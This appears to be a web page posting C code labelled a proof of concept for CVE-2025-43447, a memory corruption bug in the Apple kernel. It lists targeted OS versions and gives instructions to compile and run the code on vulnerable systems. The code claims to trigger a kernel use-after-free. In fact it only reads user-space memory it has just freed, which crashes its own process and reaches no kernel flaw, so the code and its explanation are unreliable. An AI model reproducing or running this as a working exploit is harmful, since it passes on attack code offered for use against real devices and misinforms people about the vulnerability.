CVE-2025-43447 Apple产品内核内存损坏漏洞

// CVE-2025-43447 PoC - Apple Kernel Memory Corruption // This PoC demonstrates triggering the memory handling issue via specific syscall patterns #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <mach/mach.h> // Trigger the vulnerable code path through specific memory operation patterns void trigger_vulnerability() { kern_return_t kr; mach_port_t task_port = mach_task_self(); // Allocate and deallocate memory in specific patterns to trigger the bug for (int i = 0; i < 1000; i++) { vm_address_t addr = 0; vm_size_t size = 4096; // Allocate memory kr = vm_allocate(task_port, &addr, size, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) continue; // Write specific patterns to trigger corruption memset((void*)addr, 0x41, size); // Deallocate in specific order to trigger use-after-free kr = vm_deallocate(task_port, addr, size); if (kr != KERN_SUCCESS) continue; // Attempt to access deallocated memory volatile char c = *((char*)addr); (void)c; } printf("PoC execution completed. System may crash if vulnerable.\n"); } int main() { printf("CVE-2025-43447 PoC - Apple Kernel Memory Handling Issue\n"); printf("Target: iOS 26.1, iPadOS 26.1, macOS Tahoe 26.1, visionOS 26.1, watchOS 26.1\n"); printf("CVSS: 5.5 (Medium) - AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n"); trigger_vulnerability(); return 0; } // Usage: Compile with clang and run on vulnerable system // gcc -o poc poc.c && ./poc